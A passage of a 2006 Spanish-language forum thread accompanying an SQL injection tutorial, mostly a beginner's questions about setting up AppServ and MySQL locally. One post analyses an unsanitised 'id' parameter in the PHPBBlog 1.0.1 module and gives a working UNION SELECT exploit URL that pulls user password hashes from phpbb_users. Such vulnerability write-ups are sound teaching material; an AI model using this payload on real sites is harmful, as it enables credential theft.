SQL Injection para principiantes, ejemplos en aplicaciones reales.

Iniciado por Ertai, 27 Septiembre 2006, 23:33 PM

0 Miembros y 1 Visitante están viendo este tema.

Valora el artículo :)

Excelente
70 (64.2%)
Bueno
25 (22.9%)
Pasable
7 (6.4%)
Malo
0 (0%)
Pésimo
7 (6.4%)

Total de votos: 100

Imprimir
Ir Abajo Páginas 1 2 3 4 5
Acciones del Usuario

Alesiter

#10
3 Octubre 2006, 03:34 AM
el nombre de  usuario y contraseña de la segunda imagen son el mismo nombre de  usuario y contraseña que se pone al instalar el appServ?
En data Base Host es el que esta? osea dede donde se accede al appServ?
Data Base Name pongo la nueva base de datos que voy a crear? porfavor esa parte no le entiendo muy bien
CitarServidor web donde alojar PHP y poder ejecutarlo con MySQL. (Puedes crearte una cuenta en un hosting gratuito o montarte tu propio servidor web)
Donde consigo uno ,alguien puede ayudarme?

s0cratex

#11
3 Octubre 2006, 04:56 AM Ultima modificación: 3 Octubre 2006, 05:05 AM por s0cratex
Aquí otro ejemplo...

Script: PHPBBlog 1.0.1
Descripción: Modulo para los foros PHPbb

************************************************
* http://mods.phpbbfrench.com/phpBBlog_FR_v1.0.1.zip 
************************************************

Archivo: blog.php

El problema
Línea 34: Se crea un switch para la variable "perform"
Código [Seleccionar]
switch($perform)

Línea 80: Si "perform" es igual a "edit"...
Código [Seleccionar]
case 'edit':

Línea 92: La variable "id" es recibida por el script...
Código [Seleccionar]
$id = (isset($HTTP_POST_VARS['id'])) ? $HTTP_POST_VARS['id'] : $HTTP_GET_VARS['id'];

Linea 94: Se ejecuta la siguiente sentencia SQL...
Código [Seleccionar]
$sql = "SELECT text FROM " . BLOG_TABLE . " WHERE id = $id LIMIT 1";

Pero la variable "id" nunca es comprobada por lo que la aplicacion se considera vulnerable a SQL Injection...

Exploit:
http://localhost/phpBB2/blog.php?perform=edit&id=1%20union%20select%20user_password%20from%20phpbb_users/*

Ni me molesto en publicar este exploit porque para poder ejecutarlo tengo que ser administrador del blog. Claro sirve para ver el username y password de el primer usuario del foro, quien suele ser el Administrador/God...jeje en fin el objetivo era dar un ejemplo más...bye





------------------------------------
.:[| s0cratex security crazy |]:.
------------------------------------

Ertai

#12
3 Octubre 2006, 15:37 PM
Cita de: Alesiter en  3 Octubre 2006, 03:34 AM
el nombre de  usuario y contraseña de la segunda imagen son el mismo nombre de  usuario y contraseña que se pone al instalar el appServ?
En data Base Host es el que esta? osea dede donde se accede al appServ?
Data Base Name pongo la nueva base de datos que voy a crear? porfavor esa parte no le entiendo muy bien
CitarServidor web donde alojar PHP y poder ejecutarlo con MySQL. (Puedes crearte una cuenta en un hosting gratuito o montarte tu propio servidor web)
Donde consigo uno ,alguien puede ayudarme?

Si te has instalado el Appserv y no has tocado nada, los datos son los siguientes:

Host: localhost
Usuario: root
Password: (vacio)
Database: elnombrekelepongascuandolacreas

Y hosting no te hace falta entonces...

Saludos! Fijate que puedes modificar el archivo en vez de seguir los pasos del instalador... Lee un poco más abajo!  ;)

Saludos!
Si la felicidad se comprara, entonces el dinero sería noble.

Código [Seleccionar]

void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}

Alesiter

#13
3 Octubre 2006, 16:32 PM
CitarSi te has instalado el Appserv y no has tocado nada, los datos son los siguientes:

Host: localhost
Usuario: root
Password: (vacio)
Database: elnombrekelepongascuandolacreas
el password del mio tambien es root, pongo ese?
CitarY hosting no te hace falta entonces...
pero en el tutorial dice q debo tener alguna cuenta para ospedar los php

Ertai

#14
3 Octubre 2006, 19:09 PM
Si cambiaste los datos, ponle los que pusiste.

La cuenta de hosting es solo por si no tienes un servidor local.
Si la felicidad se comprara, entonces el dinero sería noble.

Código [Seleccionar]

void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}

Alesiter

#15
3 Octubre 2006, 22:36 PM
Citar
La cuenta de hosting es solo por si no tienes un servidor local.
como se si tengo un servidor local? yo lo quiero hacer desde mi casa ,desde mi pc, no esta en red ni nada

byebye

#16
3 Octubre 2006, 22:41 PM
Citarcomo se si tengo un servidor local? yo lo quiero hacer desde mi casa ,desde mi pc, no esta en red ni nada

tu sabras si tienes instalado un servidor web. no hace falta que este en red, si instalas un servidor web en tu ordenador solo tienes que ir a http://localhost y ahi tienes tu pagina o lo que quieras poner.

Alesiter

#17
4 Octubre 2006, 03:26 AM
el http:\localhost si funciona en mi maquino ,creo q se habilito al instalar el appServ, entonces ahi tambien puedo ospedar mis php?
pero eso solo lo uso para hacer bases de datos

sirdarckcat

#18
4 Octubre 2006, 03:41 AM
si, de hecho con appserv ya tienes mysql.

Saludos!!

Alesiter

#19
6 Octubre 2006, 20:54 PM
hola ,soy novato en esto ,pero tengo muchas ganas de aprender y espero me tengan un poco de paciencia
como abro el archivo installl.php del zip que me baje ,cuando hago doble click me habre el dreamwaver ,que programa necesito? dicen q lo abra desde el navegador ,cual navegador?
CitarEjecutar estas dos sentencias SQL desde un interprete para MySQL o desde el phpMyAdmin
que interprete para mySQL ?
Que programas necesito ,porfavor indiquenme
es q me confunde tantos programas q existe
Imprimir
Ir Arriba Páginas 1 2 3 4 5
Acciones del Usuario